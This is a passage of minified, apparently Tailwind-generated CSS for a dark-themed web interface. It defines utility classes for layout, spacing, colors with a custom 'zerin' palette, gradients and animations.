h4,h5,h6,hr,figure,p,pre{margin:0}fieldset{margin:0;padding:0}legend{padding:0}ol,ul,menu{list-style:none;margin:0;padding:0}dialog{padding:0}textarea{resize:vertical}input::-moz-placeholder,textarea::-moz-placeholder{opacity:1;color:#9ca3af}input::placeholder,textarea::placeholder{opacity:1;color:#9ca3af}button,[role=button]{cursor:pointer}:disabled{cursor:default}img,svg,video,canvas,audio,iframe,embed,object{display:block;vertical-align:middle}img,video{max-width:100%;height:auto}[hidden]:where(:not([hidden=until-found])){display:none}.container{width:100%}@media (min-width: 640px){.container{max-width:640px}}@media (min-width: 768px){.container{max-width:768px}}@media (min-width: 1024px){.container{max-width:1024px}}@media (min-width: 1280px){.container{max-width:1280px}}@media (min-width: 1536px){.container{max-width:1536px}}.pointer-events-none{pointer-events:none}.\!visible{visibility:visible!important}.visible{visibility:visible}.static{position:static}.fixed{position:fixed}.absolute{position:absolute}.relative{position:relative}.sticky{position:sticky}.-inset-\[1px\]{top:-1px;right:-1px;bottom:-1px;left:-1px}.inset-0{top:0;right:0;bottom:0;left:0}.-top-10{top:-2.5rem}.bottom-0{bottom:0}.bottom-10{bottom:2.5rem}.bottom-12{bottom:3rem}.bottom-4{bottom:1rem}.bottom-6{bottom:1.5rem}.bottom-full{bottom:100%}.left-0{left:0}.left-0\.5{left:.125rem}.left-1\/2{left:50%}.left-2\.5{left:.625rem}.left-6{left:1.5rem}.left-full{left:100%}.right-0{right:0}.right-4{right:1rem}.right-full{right:100%}.top-0{top:0}.top-0\.5{top:.125rem}.top-1\/2{top:50%}.top-24{top:6rem}.top-4{top:1rem}.top-\[2px\]{top:2px}.top-full{top:100%}.z-10{z-index:10}.z-20{z-index:20}.z-40{z-index:40}.z-50{z-index:50}.z-\[10000\]{z-index:10000}.z-\[100\]{z-index:100}.z-\[9000\]{z-index:9000}.z-\[9998\]{z-index:9998}.z-\[9999\]{z-index:9999}.col-span-12{grid-column:span 12 / span 12}.col-span-2{grid-column:span 2 / span 2}.mx-0\.5{margin-left:.125rem;margin-right:.125rem}.mx-2{margin-left:.5rem;margin-right:.5rem}.mx-3{margin-left:.75rem;margin-right:.75rem}.mx-4{margin-left:1rem;margin-right:1rem}.mx-6{margin-left:1.5rem;margin-right:1.5rem}.mx-auto{margin-left:auto;margin-right:auto}.my-1{margin-top:.25rem;margin-bottom:.25rem}.-mb-px{margin-bottom:-1px}.mb-0{margin-bottom:0}.mb-0\.5{margin-bottom:.125rem}.mb-1{margin-bottom:.25rem}.mb-1\.5{margin-bottom:.375rem}.mb-10{margin-bottom:2.5rem}.mb-14{margin-bottom:3.5rem}.mb-16{margin-bottom:4rem}.mb-2{margin-bottom:.5rem}.mb-2\.5{margin-bottom:.625rem}.mb-3{margin-bottom:.75rem}.mb-4{margin-bottom:1rem}.mb-5{margin-bottom:1.25rem}.mb-6{margin-bottom:1.5rem}.mb-8{margin-bottom:2rem}.ml-0{margin-left:0}.ml-0\.5{margin-left:.125rem}.ml-1{margin-left:.25rem}.ml-1\.5{margin-left:.375rem}.ml-2{margin-left:.5rem}.ml-3{margin-left:.75rem}.ml-\[100px\]{margin-left:100px}.ml-\[1px\]{margin-left:1px}.ml-auto{margin-left:auto}.mr-1{margin-right:.25rem}.mr-2{margin-right:.5rem}.mr-3{margin-right:.75rem}.mr-\[1px\]{margin-right:1px}.mt-0\.5{margin-top:.125rem}.mt-1{margin-top:.25rem}.mt-1\.5{margin-top:.375rem}.mt-10{margin-top:2.5rem}.mt-14{margin-top:3.5rem}.mt-2{margin-top:.5rem}.mt-20{margin-top:5rem}.mt-3{margin-top:.75rem}.mt-4{margin-top:1rem}.mt-5{margin-top:1.25rem}.mt-6{margin-top:1.5rem}.mt-7{margin-top:1.75rem}.mt-8{margin-top:2rem}.block{display:block}.inline-block{display:inline-block}.inline{display:inline}.flex{display:flex}.inline-flex{display:inline-flex}.table{display:table}.grid{display:grid}.hidden{display:none}.aspect-video{aspect-ratio:16 / 9}.h-1{height:.25rem}.h-1\.5{height:.375rem}.h-10{height:2.5rem}.h-12{height:3rem}.h-14{height:3.5rem}.h-16{height:4rem}.h-2{height:.5rem}.h-2\.5{height:.625rem}.h-24{height:6rem}.h-28{height:7rem}.h-3{height:.75rem}.h-3\.5{height:.875rem}.h-4{height:1rem}.h-5{height:1.25rem}.h-6{height:1.5rem}.h-64{height:16rem}.h-7{height:1.75rem}.h-8{height:2rem}.h-9{height:2.25rem}.h-\[1px\]{height:1px}.h-\[20px\]{height:20px}.h-\[2px\]{height:2px}.h-\[3px\]{height:3px}.h-\[500px\]{height:500px}.h-\[600px\]{height:600px}.h-full{height:100%}.h-screen{height:100vh}.max-h-32{max-height:8rem}.max-h-48{max-height:12rem}.max-h-\[340px\]{max-height:340px}.max-h-\[500px\]{max-height:500px}.max-h-\[50vh\]{max-height:50vh}.max-h-\[80vh\]{max-height:80vh}.max-h-\[85vh\]{max-height:85vh}.max-h-\[90vh\]{max-height:90vh}.max-h-full{max-height:100%}.min-h-0{min-height:0px}.min-h-\[200px\]{min-height:200px}.min-h-\[calc\(100vh\+100px\)\]{min-height:calc(100vh + 100px)}.min-h-\[calc\(100vh-64px\)\]{min-height:calc(100vh - 64px)}.min-h-screen{min-height:100vh}.w-0{width:0px}.w-0\.5{width:.125rem}.w-1{width:.25rem}.w-1\.5{width:.375rem}.w-10{width:2.5rem}.w-12{width:3rem}.w-14{width:3.5rem}.w-16{width:4rem}.w-2{width:.5rem}.w-2\.5{width:.625rem}.w-20{width:5rem}.w-24{width:6rem}.w-28{width:7rem}.w-3{width:.75rem}.w-3\.5{width:.875rem}.w-32{width:8rem}.w-4{width:1rem}.w-40{width:10rem}.w-5{width:1.25rem}.w-56{width:14rem}.w-6{width:1.5rem}.w-7{width:1.75rem}.w-8{width:2rem}.w-9{width:2.25rem}.w-96{width:24rem}.w-\[1000px\]{width:1000px}.w-\[100px\]{width:100px}.w-\[120px\]{width:120px}.w-\[140px\]{width:140px}.w-\[1px\]{width:1px}.w-\[200px\]{width:200px}.w-\[2px\]{width:2px}.w-\[40px\]{width:40px}.w-\[480px\]{width:480px}.w-\[800px\]{width:800px}.w-\[80px\]{width:80px}.w-full{width:100%}.w-px{width:1px}.w-screen{width:100vw}.min-w-0{min-width:0px}.min-w-\[170px\]{min-width:170px}.min-w-\[200px\]{min-width:200px}.min-w-\[210px\]{min-width:210px}.min-w-\[340px\]{min-width:340px}.max-w-2xl{max-width:42rem}.max-w-3xl{max-width:48rem}.max-w-4xl{max-width:56rem}.max-w-5xl{max-width:64rem}.max-w-6xl{max-width:72rem}.max-w-\[160px\]{max-width:160px}.max-w-\[200px\]{max-width:200px}.max-w-\[300px\]{max-width:300px}.max-w-\[400px\]{max-width:400px}.max-w-\[80\%\]{max-width:80%}.max-w-\[90vw\]{max-width:90vw}.max-w-full{max-width:100%}.max-w-lg{max-width:32rem}.max-w-md{max-width:28rem}.max-w-sm{max-width:24rem}.max-w-xl{max-width:36rem}.max-w-xs{max-width:20rem}.flex-1{flex:1 1 0%}.flex-shrink-0,.shrink-0{flex-shrink:0}.-translate-x-1\/2{--tw-translate-x: -50%;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.-translate-x-4{--tw-translate-x: -1rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.-translate-x-full{--tw-translate-x: -100%;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.-translate-y-1\/2{--tw-translate-y: -50%;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.translate-x-0{--tw-translate-x: 0px;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.translate-x-0\.5{--tw-translate-x: .125rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.translate-x-4{--tw-translate-x: 1rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.translate-y-0{--tw-translate-y: 0px;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.translate-y-3{--tw-translate-y: .75rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.translate-y-4{--tw-translate-y: 1rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.rotate-180{--tw-rotate: 180deg;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.rotate-90{--tw-rotate: 90deg;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.transform{transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}.animate-fade-in{animation:fadeIn .25s ease-out}@keyframes ping{75%,to{transform:scale(2);opacity:0}}.animate-ping{animation:ping 1s cubic-bezier(0,0,.2,1) infinite}@keyframes pulse{50%{opacity:.5}}.animate-pulse{animation:pulse 2s cubic-bezier(.4,0,.6,1) infinite}@keyframes pulseDot{0%,to{opacity:1}50%{opacity:.4}}.animate-pulse-dot{animation:pulseDot 2s ease-in-out infinite}@keyframes scaleIn{0%{opacity:0;transform:scale(.95)}to{opacity:1;transform:scale(1)}}.animate-scale-in{animation:scaleIn .15s ease-out}@keyframes slideInRight{0%{opacity:0;transform:translate(24px)}to{opacity:1;transform:translate(0)}}.animate-slide-in-right{animation:slideInRight .25s ease-out}@keyframes slideUp{0%{opacity:0;transform:translateY(8px)}to{opacity:1;transform:translateY(0)}}.animate-slide-up{animation:slideUp .2s ease-out}@keyframes slideUpPanel{0%{transform:translateY(100%)}to{transform:translateY(0)}}.animate-slide-up-panel{animation:slideUpPanel .3s ease-out}@keyframes spin{to{transform:rotate(360deg)}}.animate-spin{animation:spin 1s linear infinite}.cursor-default{cursor:default}.cursor-not-allowed{cursor:not-allowed}.cursor-pointer{cursor:pointer}.select-none{-webkit-user-select:none;-moz-user-select:none;user-select:none}.select-all{-webkit-user-select:all;-moz-user-select:all;user-select:all}.resize-none{resize:none}.resize{resize:both}.scroll-mt-24{scroll-margin-top:6rem}.list-inside{list-style-position:inside}.list-disc{list-style-type:disc}.appearance-none{-webkit-appearance:none;-moz-appearance:none;appearance:none}.grid-cols-1{grid-template-columns:repeat(1,minmax(0,1fr))}.grid-cols-12{grid-template-columns:repeat(12,minmax(0,1fr))}.grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}.grid-cols-3{grid-template-columns:repeat(3,minmax(0,1fr))}.grid-cols-\[100px_140px_1fr_140px\]{grid-template-columns:100px 140px 1fr 140px}.grid-cols-\[110px_1fr_90px_160px_80px_150px\]{grid-template-columns:110px 1fr 90px 160px 80px 150px}.grid-cols-\[1fr_70px_60px_120px_100px_140px_70px_100px\]{grid-template-columns:1fr 70px 60px 120px 100px 140px 70px 100px}.grid-cols-\[24px_1fr\]{grid-template-columns:24px 1fr}.grid-cols-\[80px_1fr_120px_70px\]{grid-template-columns:80px 1fr 120px 70px}.flex-col{flex-direction:column}.flex-wrap{flex-wrap:wrap}.items-start{align-items:flex-start}.items-end{align-items:flex-end}.items-center{align-items:center}.items-baseline{align-items:baseline}.justify-start{justify-content:flex-start}.justify-end{justify-content:flex-end}.justify-center{justify-content:center}.justify-between{justify-content:space-between}.gap-0\.5{gap:.125rem}.gap-1{gap:.25rem}.gap-1\.5{gap:.375rem}.gap-10{gap:2.5rem}.gap-12{gap:3rem}.gap-2{gap:.5rem}.gap-2\.5{gap:.625rem}.gap-3{gap:.75rem}.gap-4{gap:1rem}.gap-5{gap:1.25rem}.gap-6{gap:1.5rem}.gap-8{gap:2rem}.gap-\[1px\]{gap:1px}.gap-x-4{-moz-column-gap:1rem;column-gap:1rem}.gap-y-4{row-gap:1rem}.space-y-0\.5>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.125rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.125rem * var(--tw-space-y-reverse))}.space-y-1>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.25rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.25rem * var(--tw-space-y-reverse))}.space-y-1\.5>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.375rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.375rem * var(--tw-space-y-reverse))}.space-y-2>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.5rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.5rem * var(--tw-space-y-reverse))}.space-y-2\.5>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.625rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.625rem * var(--tw-space-y-reverse))}.space-y-24>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(6rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(6rem * var(--tw-space-y-reverse))}.space-y-3>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.75rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.75rem * var(--tw-space-y-reverse))}.space-y-4>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(1rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(1rem * var(--tw-space-y-reverse))}.space-y-5>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(1.25rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(1.25rem * var(--tw-space-y-reverse))}.space-y-6>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(1.5rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(1.5rem * var(--tw-space-y-reverse))}.space-y-\[1px\]>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(1px * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(1px * var(--tw-space-y-reverse))}.divide-y>:not([hidden])~:not([hidden]){--tw-divide-y-reverse: 0;border-top-width:calc(1px * calc(1 - var(--tw-divide-y-reverse)));border-bottom-width:calc(1px * var(--tw-divide-y-reverse))}.divide-zerin-panel-border>:not([hidden])~:not([hidden]){--tw-divide-opacity: 1;border-color:rgb(31 31 35 / var(--tw-divide-opacity, 1))}.overflow-auto{overflow:auto}.overflow-hidden{overflow:hidden}.overflow-x-auto{overflow-x:auto}.overflow-y-auto{overflow-y:auto}.overflow-x-hidden{overflow-x:hidden}.truncate{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.whitespace-nowrap{white-space:nowrap}.whitespace-pre-wrap{white-space:pre-wrap}.break-words{overflow-wrap:break-word}.break-all{word-break:break-all}.rounded{border-radius:.25rem}.rounded-full{border-radius:9999px}.rounded-sm{border-radius:.125rem}.border{border-width:1px}.border-0{border-width:0px}.border-2{border-width:2px}.border-b{border-bottom-width:1px}.border-b-2{border-bottom-width:2px}.border-l{border-left-width:1px}.border-l-2{border-left-width:2px}.border-r{border-right-width:1px}.border-t{border-top-width:1px}.border-dashed{border-style:dashed}.border-\[\#00F0FF\]\/30{border-color:#00f0ff4d}.border-\[\#111118\]{--tw-border-opacity: 1;border-color:rgb(17 17 24 / var(--tw-border-opacity, 1))}.border-\[\#1a1a20\]{--tw-border-opacity: 1;border-color:rgb(26 26 32 / var(--tw-border-opacity, 1))}.border-\[\#1a1a22\]{--tw-border-opacity: 1;border-color:rgb(26 26 34 / var(--tw-border-opacity, 1))}.border-\[\#1a1a22\]\/30{border-color:#1a1a224d}.border-\[\#1a1a22\]\/50{border-color:#1a1a2280}.border-\[\#1f1f25\]{--tw-border-opacity: 1;border-color:rgb(31 31 37 / var(--tw-border-opacity, 1))}.border-\[\#ff69b4\]\/25{border-color:#ff69b440}.border-amber-500\/15{border-color:#f59e0b26}.border-amber-500\/20{border-color:#f59e0b33}.border-blue-500\/20{border-color:#3b82f633}.border-emerald-400\/20{border-color:#34d39933}.border-emerald-500\/20{border-color:#10b98133}.border-emerald-500\/40{border-color:#10b98166}.border-orange-500\/20{border-color:#f9731633}.border-purple-500\/20{border-color:#a855f733}.border-purple-500\/50{border-color:#a855f780}.border-red-500\/20{border-color:#ef444433}.border-red-500\/30{border-color:#ef44444d}.border-transparent{border-color:transparent}.border-white\/30{border-color:#ffffff4d}.border-zerin-accent{--tw-border-opacity: 1;border-color:rgb(6 182 212 / var(--tw-border-opacity, 1))}.border-zerin-accent\/15{border-color:#06b6d426}.border-zerin-accent\/20{border-color:#06b6d433}.border-zerin-accent\/25{border-color:#06b6d440}.border-zerin-accent\/30{border-color:#06b6d44d}.border-zerin-accent\/40{border-color:#06b6d466}.border-zerin-accent\/50{border-color:#06b6d480}.border-zerin-danger\/20{border-color:#ef444433}.border-zerin-danger\/30{border-color:#ef44444d}.border-zerin-danger\/40{border-color:#ef444466}.border-zerin-danger\/50{border-color:#ef444480}.border-zerin-panel-border{--tw-border-opacity: 1;border-color:rgb(31 31 35 / var(--tw-border-opacity, 1))}.border-zinc-500\/20{border-color:#71717a33}.border-zinc-700{--tw-border-opacity: 1;border-color:rgb(63 63 70 / var(--tw-border-opacity, 1))}.border-b-zerin-panel-border{--tw-border-opacity: 1;border-bottom-color:rgb(31 31 35 / var(--tw-border-opacity, 1))}.border-l-zerin-accent{--tw-border-opacity: 1;border-left-color:rgb(6 182 212 / var(--tw-border-opacity, 1))}.border-r-zerin-panel-border{--tw-border-opacity: 1;border-right-color:rgb(31 31 35 / var(--tw-border-opacity, 1))}.border-t-white{--tw-border-opacity: 1;border-top-color:rgb(255 255 255 / var(--tw-border-opacity, 1))}.border-t-zerin-accent{--tw-border-opacity: 1;border-top-color:rgb(6 182 212 / var(--tw-border-opacity, 1))}.border-t-zerin-panel-border{--tw-border-opacity: 1;border-top-color:rgb(31 31 35 / var(--tw-border-opacity, 1))}.bg-\[\#04040a\]{--tw-bg-opacity: 1;background-color:rgb(4 4 10 / var(--tw-bg-opacity, 1))}.bg-\[\#04040a\]\/80{background-color:#04040acc}.bg-\[\#06060b\]{--tw-bg-opacity: 1;background-color:rgb(6 6 11 / var(--tw-bg-opacity, 1))}.bg-\[\#08080c\]{--tw-bg-opacity: 1;background-color:rgb(8 8 12 / var(--tw-bg-opacity, 1))}.bg-\[\#08080c\]\/50{background-color:#08080c80}.bg-\[\#08080c\]\/60{background-color:#08080c99}.bg-\[\#09090b\]{--tw-bg-opacity: 1;background-color:rgb(9 9 11 / var(--tw-bg-opacity, 1))}.bg-\[\#0a0a0e\]{--tw-bg-opacity: 1;background-color:rgb(10 10 14 / var(--tw-bg-opacity, 1))}.bg-\[\#0d0d11\]{--tw-bg-opacity: 1;background-color:rgb(13 13 17 / var(--tw-bg-opacity, 1))}.bg-\[\#111118\]{--tw-bg-opacity: 1;background-color:rgb(17 17 24 / var(--tw-bg-opacity, 1))}.bg-\[\#16161c\]{--tw-bg-opacity: 1;background-color:rgb(22 22 28 / var(--tw-bg-opacity, 1))}.bg-\[\#18181c\]{--tw-bg-opacity: 1;background-color:rgb(24 24 28 / var(--tw-bg-opacity, 1))}.bg-\[\#1a1a20\]{--tw-bg-opacity: 1;background-color:rgb(26 26 32 / var(--tw-bg-opacity, 1))}.bg-\[\#1a1a22\]{--tw-bg-opacity: 1;background-color:rgb(26 26 34 / var(--tw-bg-opacity, 1))}.bg-\[\#1a1a22\]\/30{background-color:#1a1a224d}.bg-amber-400{--tw-bg-opacity: 1;background-color:rgb(251 191 36 / var(--tw-bg-opacity, 1))}.bg-amber-500\/10{background-color:#f59e0b1a}.bg-amber-500\/5{background-color:#f59e0b0d}.bg-amber-600{--tw-bg-opacity: 1;background-color:rgb(217 119 6 / var(--tw-bg-opacity, 1))}.bg-black\/50{background-color:#00000080}.bg-black\/60{background-color:#0009}.bg-black\/70{background-color:#000000b3}.bg-black\/80{background-color:#000c}.bg-black\/90{background-color:#000000e6}.bg-blue-500\/10{background-color:#3b82f61a}.bg-emerald-400{--tw-bg-opacity: 1;background-color:rgb(52 211 153 / var(--tw-bg-opacity, 1))}.bg-emerald-400\/10{background-color:#34d3991a}.bg-emerald-400\/80{background-color:#34d399cc}.bg-emerald-500{--tw-bg-opacity: 1;background-color:rgb(16 185 129 / var(--tw-bg-opacity, 1))}.bg-emerald-500\/10{background-color:#10b9811a}.bg-emerald-500\/20{background-color:#10b98133}.bg-emerald-500\/5{background-color:#10b9810d}.bg-emerald-600{--tw-bg-opacity: 1;background-color:rgb(5 150 105 / var(--tw-bg-opacity, 1))}.bg-green-500\/40{background-color:#22c55e66}.bg-orange-500{--tw-bg-opacity: 1;background-color:rgb(249 115 22 / var(--tw-bg-opacity, 1))}.bg-orange-500\/10{background-color:#f973161a}.bg-orange-500\/15{background-color:#f9731626}.bg-orange-500\/20{background-color:#f9731633}.bg-purple-500\/10{background-color:#a855f71a}.bg-purple-600{--tw-bg-opacity: 1;background-color:rgb(147 51 234 / var(--tw-bg-opacity, 1))}.bg-red-400{--tw-bg-opacity: 1;background-color:rgb(248 113 113 / var(--tw-bg-opacity, 1))}.bg-red-500{--tw-bg-opacity: 1;background-color:rgb(239 68 68 / var(--tw-bg-opacity, 1))}.bg-red-500\/10{background-color:#ef44441a}.bg-red-500\/20{background-color:#ef444433}.bg-red-500\/5{background-color:#ef44440d}.bg-red-500\/60{background-color:#ef444499}.bg-transparent{background-color:transparent}.bg-white{--tw-bg-opacity: 1;background-color:rgb(255 255 255 / var(--tw-bg-opacity, 1))}.bg-yellow-500{--tw-bg-opacity: 1;background-color:rgb(234 179 8 / var(--tw-bg-opacity, 1))}.bg-yellow-500\/40{background-color:#eab30866}.bg-zerin-accent{--tw-bg-opacity: 1;background-color:rgb(6 182 212 / var(--tw-bg-opacity, 1))}.bg-zerin-accent-muted{background-color:#06b6d41a}.bg-zerin-accent-muted\/30{background-color:#06b6d44d}.bg-zerin-accent\/10{background-color:#06b6d41a}.bg-zerin-accent\/15{background-color:#06b6d426}.bg-zerin-accent\/20{background-color:#06b6d433}.bg-zerin-accent\/5{background-color:#06b6d40d}.bg-zerin-accent\/50{background-color:#06b6d480}.bg-zerin-accent\/60{background-color:#06b6d499}.bg-zerin-bg{--tw-bg-opacity: 1;background-color:rgb(9 9 11 / var(--tw-bg-opacity, 1))}.bg-zerin-bg-alt{--tw-bg-opacity: 1;background-color:rgb(12 12 14 / var(--tw-bg-opacity, 1))}.bg-zerin-danger{--tw-bg-opacity: 1;background-color:rgb(239 68 68 / var(--tw-bg-opacity, 1))}.bg-zerin-danger-dim{background-color:#ef444414}.bg-zerin-danger\/10{background-color:#ef44441a}.bg-zerin-panel{--tw-bg-opacity: 1;background-color:rgb(17 17 19 / var(--tw-bg-opacity, 1))}.bg-zerin-panel-border{--tw-bg-opacity: 1;background-color:rgb(31 31 35 / var(--tw-bg-opacity, 1))}.bg-zerin-panel-hover{--tw-bg-opacity: 1;background-color:rgb(24 24 27 / var(--tw-bg-opacity, 1))}.bg-zerin-panel\/40{background-color:#11111366}.bg-zerin-panel\/60{background-color:#11111399}.bg-zerin-text-muted\/40{background-color:#52525b66}.bg-zinc-400{--tw-bg-opacity: 1;background-color:rgb(161 161 170 / var(--tw-bg-opacity, 1))}.bg-zinc-400\/10{background-color:#a1a1aa1a}.bg-zinc-500{--tw-bg-opacity: 1;background-color:rgb(113 113 122 / var(--tw-bg-opacity, 1))}.bg-zinc-500\/10{background-color:#71717a1a}.bg-zinc-500\/15{background-color:#71717a26}.bg-zinc-600{--tw-bg-opacity: 1;background-color:rgb(82 82 91 / var(--tw-bg-opacity, 1))}.bg-zinc-700{--tw-bg-opacity: 1;background-color:rgb(63 63 70 / var(--tw-bg-opacity, 1))}.bg-zinc-800{--tw-bg-opacity: 1;background-color:rgb(39 39 42 / var(--tw-bg-opacity, 1))}.bg-gradient-to-b{background-image:linear-gradient(to bottom,var(--tw-gradient-stops))}.bg-gradient-to-r{background-image:linear-gradient(to right,var(--tw-gradient-stops))}.from-emerald-400{--tw-gradient-from: #34d399 var(--tw-gradient-from-position);--tw-gradient-to: rgb(52 211 153 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to)}.from-emerald-500{--tw-gradient-from: #10b981 var(--tw-gradient-from-position);--tw-gradient-to: rgb(16 185 129 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to)}.from-transparent{--tw-gradient-from: transparent var(--tw-gradient-from-position);--tw-gradient-to: rgb(0 0 0 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to)}.from-zerin-accent{--tw-gradient-from: #06B6D4 var(--tw-gradient-from-position);--tw-gradient-to: rgb(6 182 212 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to)}.from-zerin-accent\/20{--tw-gradient-from: rgb(6 182 212 / .2) var(--tw-gradient-from-position);--tw-gradient-to: rgb(6 182 212 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to)}.from-zerin-accent\/30{--tw-gradient-from: rgb(6 182 212 / .3) var(--tw-gradient-from-position);--tw-gradient-to: rgb(6 182 212 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to)}.from-zerin-accent\/50{--tw-gradient-from: rgb(6 182 212 / .5) var(--tw-gradient-from-position);--tw-gradient-to: rgb(6 182 212 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), var(--tw-gradient-to)}.via-\[\#1a1a22\]{--tw-gradient-to: rgb(26 26 34 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), #1a1a22 var(--tw-gradient-via-position), var(--tw-gradient-to)}.via-cyan-300{--tw-gradient-to: rgb(103 232 249 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), #67e8f9 var(--tw-gradient-via-position), var(--tw-gradient-to)}.via-emerald-500\/30{--tw-gradient-to: rgb(16 185 129 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), rgb(16 185 129 / .3) var(--tw-gradient-via-position), var(--tw-gradient-to)}.via-red-500\/20{--tw-gradient-to: rgb(239 68 68 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), rgb(239 68 68 / .2) var(--tw-gradient-via-position), var(--tw-gradient-to)}.via-transparent{--tw-gradient-to: rgb(0 0 0 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), transparent var(--tw-gradient-via-position), var(--tw-gradient-to)}.via-white\/20{--tw-gradient-to: rgb(255 255 255 / 0) var(--tw-gradient-to-position);--tw-gradient-stops: var(--tw-gradient-from), rgb(255 255 255 / .2) var(--tw-gradient-via-position), var(--tw-gradient-to)}.to-cyan-300{--tw-gradient-to: #67e8f9 var(--tw-gradient-to-position)}.to-emerald-400{--tw-gradient-to: #34d399 var(--tw-gradient-to-position)}.to-transparent{--tw-gradient-to: transparent var(--tw-gradient-to-position)}.to-zerin-accent{--tw-gradient-to: #06B6D4 var(--tw-gradient-to-position)}.to-zerin-accent\/10{--tw-gradient-to: rgb(6 182 212 / .1) 